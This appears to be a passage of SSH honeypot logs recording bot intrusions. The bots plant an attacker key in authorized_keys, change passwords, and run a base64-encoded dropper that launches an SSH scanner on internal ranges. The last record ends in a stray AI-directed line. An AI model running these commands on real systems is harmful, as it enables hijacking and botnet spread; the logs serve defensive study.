\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T16:13:55.703996+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-23T16:13:55.705259+00:00","kind":"output","latency_ms":null,"data":"mailuser"}],"credentials":[{"username":"mailuser","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"40817a97-176c-48c1-b57c-ffceaa09c3dc","name":"opal-rambling-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.199.36","src_port":60606,"username":"caleb","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":377,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T13:50:29.670651+00:00","ended_at":"2026-08-23T13:50:29.782631+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3455,"events":[{"seq":1,"at":"2026-08-23T13:50:00.648445+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T13:50:01.025711+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T13:50:06.236894+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T13:50:06.238217+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T13:50:06.615079+00:00","kind":"input","latency_ms":null,"data":"echo -e \"caleb\\n4QGbrNvaI0UD\\n4QGbrNvaI0UD\"|passwd|bash"},{"seq":6,"at":"2026-08-23T13:50:06.992713+00:00","kind":"input","latency_ms":null,"data":"echo \"caleb\\n4QGbrNvaI0UD\\n4QGbrNvaI0UD\\n\"|passwd"},{"seq":7,"at":"2026-08-23T13:50:07.372053+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T13:50:07.372475+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T13:50:07.749651+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T13:50:08.425137+00:00","kind":"output","latency_ms":674,"data":"15888 7641 1944 227 6294 7306"},{"seq":11,"at":"2026-08-23T13:50:08.803662+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T13:50:09.499763+00:00","kind":"output","latency_ms":692,"data":"lrwxrwxrwx 1 root root 7 Apr 23 2026 /usr/bin/ls -> /bin/ls"},{"seq":13,"at":"2026-08-23T13:50:09.877710+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T13:50:09.880150+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T13:50:10.255098+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T13:50:10.255842+00:00","kind":"output","latency_ms":null,"data":" 13:50:10 up 3 days, 10:40, 0 user, load average: 0.2, 0.15, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T13:50:10.633515+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T13:50:10.635236+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T13:50:11.014158+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T13:50:11.014879+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T13:50:11.391378+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T13:50:11.393280+00:00","kind":"output","latency_ms":null,"data":"top - 13:50:11 up 3 days, 10:40, 0 user, load average: 0.2, 0.15, 0.14\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T13:50:11.770238+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T13:50:11.772254+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T13:50:12.149065+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T13:50:12.149536+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T13:50:12.526763+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T13:50:12.528045+00:00","kind":"output","latency_ms":null,"data":"caleb"},{"seq":29,"at":"2026-08-23T13:50:12.905535+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T13:50:13.590700+00:00","kind":"output","latency_ms":686,"data":"Model name: AMD EPYC 7713 64-Core Processor\n"},{"seq":31,"at":"2026-08-23T13:50:13.969356+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T13:50:14.509742+00:00","kind":"output","latency_ms":539,"data":"24G"},{"seq":33,"at":"2026-08-23T13:50:15.905558+00:00","kind":"input","latency_ms":null,"data":"echo \"caleb caleb\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T13:50:16.284362+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T13:50:16.925133+00:00","kind":"output","latency_ms":640,"data":""},{"seq":36,"at":"2026-08-23T13:50:17.601503+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T13:50:18.057274+00:00","kind":"output","latency_ms":455,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T13:50:18.438110+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T13:50:18.935447+00:00","kind":"output","latency_ms":498,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T13:50:19.314393+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T13:50:19.690613+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T13:50:20.152716+00:00","kind":"output","latency_ms":462,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T13:50:20.536584+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T13:50:20.994162+00:00","kind":"output","latency_ms":456,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T13:50:21.373906+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T13:50:21.818168+00:00","kind":"output","latency_ms":442,"data":""},{"seq":47,"at":"2026-08-23T13:50:29.672470+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T13:50:29.673048+00:00","kind":"output","latency_ms":null,"data":"caleb"}],"credentials":[{"username":"caleb","password":"caleb","method":"password","accepted":true,"tier":"other"}]} {"id":"bdaf581a-cda9-473b-b316-93f54c67069b","name":"foggy-cunning-pipit","protocol":"ssh","channel_kind":"exec","src_ip":"41.63.62.103","src_port":38488,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":917,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T13:46:37.478805+00:00","ended_at":"2026-08-23T13:46:37.768414+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3538,"events":[{"seq":1,"at":"2026-08-23T13:45:50.236533+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T13:45:50.752198+00:00","kind":"output","latency_ms":515,"data":""},{"seq":3,"at":"2026-08-23T13:45:51.153156+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-23T13:45:58.682396+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-23T13:45:58.684126+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-23T13:45:59.598584+00:00","kind":"input","latency_ms":null,"data":"echo \"root:f58S3b4piUHA\"|chpasswd|bash"},{"seq":7,"at":"2026-08-23T13:46:00.026195+00:00","kind":"output","latency_ms":427,"data":""},{"seq":8,"at":"2026-08-23T13:46:00.514328+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-23T13:46:01.430090+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-23T13:46:01.430487+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-23T13:46:02.356629+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-23T13:46:03.293182+00:00","kind":"output","latency_ms":935,"data":"15888 9874 6014 194 0 3870"},{"seq":13,"at":"2026-08-23T13:46:04.213321+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-23T13:46:04.747125+00:00","kind":"output","latency_ms":534,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":15,"at":"2026-08-23T13:46:05.664654+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T13:46:05.666089+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":17,"at":"2026-08-23T13:46:06.583149+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-23T13:46:06.584050+00:00","kind":"output","latency_ms":null,"data":" 13:46:06 up 3 days, 10:36, 0 user, load average: 0.22, 0.27, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-23T13:46:07.501419+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-23T13:46:07.501883+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-23T13:46:08.418518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-23T13:46:08.419115+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-23T13:46:09.337183+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-23T13:46:09.338094+00:00","kind":"output","latency_ms":null,"data":"top - 13:46:09 up 3 days, 10:36, 0 user, load average: 0.22, 0.27, 0.16\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-23T13:46:10.248775+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-23T13:46:10.250630+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-23T13:46:11.166120+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-23T13:46:11.168092+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-23T13:46:12.082691+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-23T13:46:12.084280+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-23T13:46:13.001613+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-23T13:46:13.517118+00:00","kind":"output","latency_ms":515,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":33,"at":"2026-08-23T13:46:14.434482+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-23T13:46:14.921611+00:00","kind":"output","latency_ms":487,"data":"24G"},{"seq":35,"at":"2026-08-23T13:46:17.561781+00:00","kind":"input","latency_ms":null,"data":"echo \"root Abc123456789*\" > /tmp/up.txt"},{"seq":36,"at":"2026-08-23T13:46:18.480484+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":37,"at":"2026-08-23T13:46:18.865146+00:00","kind":"output","latency_ms":383,"data":""},{"seq":38,"at":"2026-08-23T13:46:21.809442+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T13:46:22.281149+00:00","kind":"output","latency_ms":470,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T13:46:23.207519+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T13:46:23.825193+00:00","kind":"output","latency_ms":616,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":42,"at":"2026-08-23T13:46:24.753780+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T13:46:25.676252+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T13:46:26.160119+00:00","kind":"output","latency_ms":482,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T13:46:27.078679+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":46,"at":"2026-08-23T13:46:27.590156+00:00","kind":"output","latency_ms":510,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":47,"at":"2026-08-23T13:46:28.508842+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":48,"at":"2026-08-23T13:46:37.482203+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T13:46:37.483707+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Abc123456789*","method":"password","accepted":true,"tier":"other"}]} {"id":"291af6ba-5824-42c1-977c-866685fc9534","name":"frank-foggy-koala","protocol":"ssh","channel_kind":"exec","src_ip":"201.71.192.108","src_port":39330,"username":"developer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":477,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T13:35:55.531860+00:00","ended_at":"2026-08-23T13:35:55.678004+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3419,"events":[{"seq":1,"at":"2026-08-23T13:35:22.808936+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T13:35:23.285072+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T13:35:27.800862+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T13:35:27.802372+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T13:35:28.278432+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nP8TfqLNjaKrk\\nP8TfqLNjaKrk\"|passwd|bash"},{"seq":6,"at":"2026-08-23T13:35:28.753589+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nP8TfqLNjaKrk\\nP8TfqLNjaKrk\\n\"|passwd"},{"seq":7,"at":"2026-08-23T13:35:29.228357+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T13:35:29.230963+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T13:35:29.708072+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T13:35:30.749175+00:00","kind":"output","latency_ms":1039,"data":" total used free shared buff/cache available\nMem: 15888 1194 14015 18 678 14545"},{"seq":11,"at":"2026-08-23T13:35:31.223387+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T13:35:31.987657+00:00","kind":"output","latency_ms":764,"data":"-rwxr-xr-x 1 root root 148K Jan 23 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T13:35:32.465031+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T13:35:32.465693+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T13:35:32.945078+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T13:35:32.945753+00:00","kind":"output","latency_ms":null,"data":" 13:35:32 up 3 days, 10:25, 0 user, load average: 0.02, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T13:35:33.422525+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T13:35:33.423232+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T13:35:33.899510+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T13:35:33.901286+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T13:35:34.377111+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T13:35:34.377909+00:00","kind":"output","latency_ms":null,"data":"top - 13:35:34 up 3 days, 10:25, 0 user, load average: 0.02, 0.03, 0.03\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T13:35:34.855244+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T13:35:34.855788+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T13:35:35.331078+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T13:35:35.331726+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T13:35:35.809425+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T13:35:35.810132+00:00","kind":"output","latency_ms":null,"data":"developer"},{"seq":29,"at":"2026-08-23T13:35:36.283326+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T13:35:36.802149+00:00","kind":"output","latency_ms":516,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T13:35:37.279107+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T13:35:37.959042+00:00","kind":"output","latency_ms":680,"data":"24G"},{"seq":33,"at":"2026-08-23T13:35:39.438769+00:00","kind":"input","latency_ms":null,"data":"echo \"developer 12345\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T13:35:39.911876+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T13:35:40.399389+00:00","kind":"output","latency_ms":487,"data":""},{"seq":36,"at":"2026-08-23T13:35:41.588050+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T13:35:42.896167+00:00","kind":"output","latency_ms":1306,"data":"-7182\n-end of analysis to=assistant to=final 